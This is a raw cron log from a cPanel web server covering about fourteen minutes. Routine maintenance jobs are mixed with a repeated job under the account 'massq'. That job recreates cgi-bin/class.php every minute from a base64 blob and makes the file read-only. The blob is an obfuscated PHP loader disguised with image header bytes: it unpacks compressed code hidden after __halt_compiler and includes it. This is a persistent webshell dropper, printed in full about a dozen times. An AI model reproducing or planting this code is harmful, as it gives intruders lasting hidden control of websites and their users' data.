Sep  9 20:01:01 server run-parts(/etc/cron.hourly)[21301]: starting 0anacron
Sep  9 20:01:01 server run-parts(/etc/cron.hourly)[21374]: finished 0anacron
Sep  9 20:02:01 server CROND[21831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:02:01 server CROND[21832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:02:01 server CROND[21833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:03:01 server CROND[22215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:03:01 server CROND[22217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:03:01 server CROND[22218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:04:01 server CROND[22591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:04:01 server CROND[22592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:04:01 server CROND[22593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:05:01 server CROND[23148]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 20:05:01 server CROND[23150]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:05:01 server CROND[23152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:05:01 server CROND[23158]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:05:01 server CROND[23162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:05:01 server CROND[23164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:05:01 server CROND[23168]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 20:05:01 server CROND[23167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:05:01 server CROND[23166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:06:01 server CROND[24000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:06:01 server CROND[24001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:06:01 server CROND[24002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:07:02 server CROND[24490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:07:02 server CROND[24489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:07:02 server CROND[24491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:08:01 server CROND[24942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:08:01 server CROND[24943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:08:01 server CROND[24944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:09:01 server CROND[25337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:09:01 server CROND[25339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:09:01 server CROND[25338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:09:01 server CROND[25340]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 20:10:01 server CROND[25731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 20:10:01 server CROND[25732]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:10:01 server CROND[25733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:10:01 server CROND[25734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:10:01 server CROND[25735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:10:01 server CROND[25739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:10:01 server CROND[25736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:10:01 server CROND[25737]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 20:11:01 server CROND[26584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:11:01 server CROND[26585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:11:01 server CROND[26586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:12:01 server CROND[26965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:12:01 server CROND[26967]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 20:12:01 server CROND[26966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:12:01 server CROND[26968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:13:01 server CROND[27458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:13:01 server CROND[27459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 20:13:01 server CROND[27460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:14:01 server CROND[27846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
